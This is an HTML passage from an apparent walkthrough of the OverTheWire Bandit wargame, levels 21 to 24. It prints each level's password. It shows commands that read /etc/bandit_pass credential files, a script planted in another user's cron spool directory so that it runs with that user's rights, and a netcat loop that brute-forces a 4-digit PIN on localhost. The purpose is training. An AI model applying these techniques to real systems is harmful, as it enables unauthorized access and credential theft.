&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@reboot bandit22 /usr/bin/cronjob_bandit22.sh &amp;amp;&amp;gt; /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &amp;amp;&amp;gt; /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It runs the script &lt;code&gt;/usr/bin/cronjob_bandit22.sh&lt;/code&gt; on reboot, so we &lt;code&gt;cat&lt;/code&gt; the script in order to see what it does:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chmod &lt;span style="color:#ae81ff"&gt;644&lt;/span&gt; /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /etc/bandit_pass/bandit22 &amp;gt; /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It&amp;rsquo;s just redirects the &lt;code&gt;bandit22&lt;/code&gt; password in a file in the &lt;code&gt;/tmp&lt;/code&gt; directory, so we just &lt;code&gt;cat&lt;/code&gt; its contents:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-22"&gt;
Level 22
&lt;a href="#level-22" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-2"&gt;
Level Goal
&lt;a href="#level-goal-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in &lt;code&gt;/etc/cron.d/&lt;/code&gt; for the configuration and see what command is being executed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-2"&gt;
Solution
&lt;a href="#solution-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit22&lt;/code&gt;, using the password found from Level 21:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit22@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We first find all the cron jobs in &lt;code&gt;/etc/cron.d&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit22@bandit:~$ ls /etc/cron.d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cronjob_bandit15_root cronjob_bandit17_root cronjob_bandit22 cronjob_bandit23 cronjob_bandit24 cronjob_bandit25_root
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We are interested in the &lt;code&gt;cronjob_bandit23&lt;/code&gt; job, so we &lt;code&gt;cat&lt;/code&gt; it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@reboot bandit23 /usr/bin/cronjob_bandit23.sh &amp;amp;&amp;gt; /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &amp;amp;&amp;gt; /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It runs the script &lt;code&gt;/usr/bin/cronjob_bandit23.sh&lt;/code&gt; on reboot, so we &lt;code&gt;cat&lt;/code&gt; the script in order to see what it does:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;myname&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;whoami&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mytarget&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;echo I am user $myname | md5sum | cut -d &lt;span style="color:#e6db74"&gt;&amp;#39; &amp;#39;&lt;/span&gt; -f 1&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;Copying passwordfile /etc/bandit_pass/&lt;/span&gt;$myname&lt;span style="color:#e6db74"&gt; to /tmp/&lt;/span&gt;$mytarget&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /etc/bandit_pass/$myname &amp;gt; /tmp/$mytarget
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The script gets the current users name and created the phrase, e.g. &lt;code&gt;I am user bandit23&lt;/code&gt;.
It then passes this phrase through &lt;code&gt;md5sum&lt;/code&gt; and produces a hash.&lt;/p&gt;
&lt;p&gt;In order to find the password for user &lt;code&gt;bandit23&lt;/code&gt; we do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit22@bandit:~$ echo I am user bandit23 | md5sum | cut -d &lt;span style="color:#e6db74"&gt;&amp;#39; &amp;#39;&lt;/span&gt; -f &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;8ca319486bfbbc3663ea0fbe81326349
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That is the name of the file in the &lt;code&gt;/tmp&lt;/code&gt; directory that it saves the password, so we just &lt;code&gt;cat&lt;/code&gt; it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-23"&gt;
Level 23
&lt;a href="#level-23" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-3"&gt;
Level Goal
&lt;a href="#level-goal-3" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in &lt;code&gt;/etc/cron.d/&lt;/code&gt; for the configuration and see what command is being executed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-3"&gt;
Solution
&lt;a href="#solution-3" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit23&lt;/code&gt;, using the password found from Level 22:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit23@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We first find all the cron jobs in &lt;code&gt;/etc/cron.d&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit22@bandit:~$ ls /etc/cron.d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cronjob_bandit15_root cronjob_bandit17_root cronjob_bandit22 cronjob_bandit23 cronjob_bandit24 cronjob_bandit25_root
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We are interested in the &lt;code&gt;cronjob_bandit24&lt;/code&gt; job, so we &lt;code&gt;cat&lt;/code&gt; it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@reboot bandit24 /usr/bin/cronjob_bandit24.sh &amp;amp;&amp;gt; /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &amp;amp;&amp;gt; /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It runs the script &lt;code&gt;/usr/bin/cronjob_bandit24.sh&lt;/code&gt; on reboot, so we &lt;code&gt;cat&lt;/code&gt; the script in order to see what it does:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;myname&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;whoami&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /var/spool/$myname
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;Executing and deleting all scripts in /var/spool/&lt;/span&gt;$myname&lt;span style="color:#e6db74"&gt;:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i in * .*;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$i&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; !&lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt; -a &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$i&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; !&lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;..&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;Handling &lt;/span&gt;$i&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; owner&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;stat --format &lt;span style="color:#e6db74"&gt;&amp;#34;%U&amp;#34;&lt;/span&gt; ./$i&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;owner&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;bandit23&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; timeout -s &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt; ./$i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rm -f ./$i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can write a script of our own in order to get executed by &lt;code&gt;bandit24&lt;/code&gt; after 1 minute from &lt;code&gt;/usr/bin/cronjob_bandit24.sh&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We first create a directory to work on, in &lt;code&gt;/tmp&lt;/code&gt;, in order to work:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir /tmp/mine23
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /tmp/mine23
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then we create a script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim level23.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And add the following in order to copy the password from &lt;code&gt;/etc/bandit_pass/bandit24&lt;/code&gt; to our directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /etc/bandit_pass/bandit24 &amp;gt; /tmp/mine23/bandit24
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We have to change the permissions in order to be executable be everyone:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chmod &lt;span style="color:#ae81ff"&gt;777&lt;/span&gt; level23.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And we need to create the file for the password and make it writable for everyone:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;touch bandit24
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chmod &lt;span style="color:#ae81ff"&gt;666&lt;/span&gt; bandit24
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We then copy the script to &lt;code&gt;/var/spool/bandit24&lt;/code&gt; and wait for 1 minute to be run by cron:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp level23.sh /var/spool/bandit24
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After 1 minute we &lt;code&gt;cat&lt;/code&gt; the file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit23@bandit:/tmp/mine23$ cat bandit24
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-24"&gt;
Level 24
&lt;a href="#level-24" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-4"&gt;
Level Goal
&lt;a href="#level-goal-4" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;A daemon is listening on port &lt;code&gt;30002&lt;/code&gt; and will give you the password for &lt;code&gt;bandit25&lt;/code&gt; if given the password for &lt;code&gt;bandit24&lt;/code&gt; and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-4"&gt;
Solution
&lt;a href="#solution-4" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit24&lt;/code&gt;, using the password found from Level 23:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit24@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can connect to the service with &lt;code&gt;nc&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nc localhost &lt;span style="color:#ae81ff"&gt;30002&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And try to enter the current level password and a random code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit24@bandit:~$ nc localhost &lt;span style="color:#ae81ff"&gt;30002&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;I am the pincode checker &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; user bandit25. Please enter the password &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; user bandit24 and the secret pincode on a single line, separated by a space.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ &lt;span style="color:#ae81ff"&gt;0000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Wrong! Please enter the correct pincode. Try again.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can brute-force our login by testing all 4-digit combinations with a simple script.&lt;/p&gt;
&lt;p&gt;We first create a directory to work on, in &lt;code&gt;/tmp&lt;/code&gt;, in order to work:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir /tmp/mine24
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /tmp/mine24
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then we create a script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim level24.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And append the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i in &lt;span style="color:#f92672"&gt;{&lt;/span&gt;0000..9999&lt;span style="color:#f92672"&gt;}&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ &lt;/span&gt;$i&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;done&lt;/span&gt; | nc localhost &lt;span style="color:#ae81ff"&gt;30002&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Make the script executable:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chmod +x level24.sh
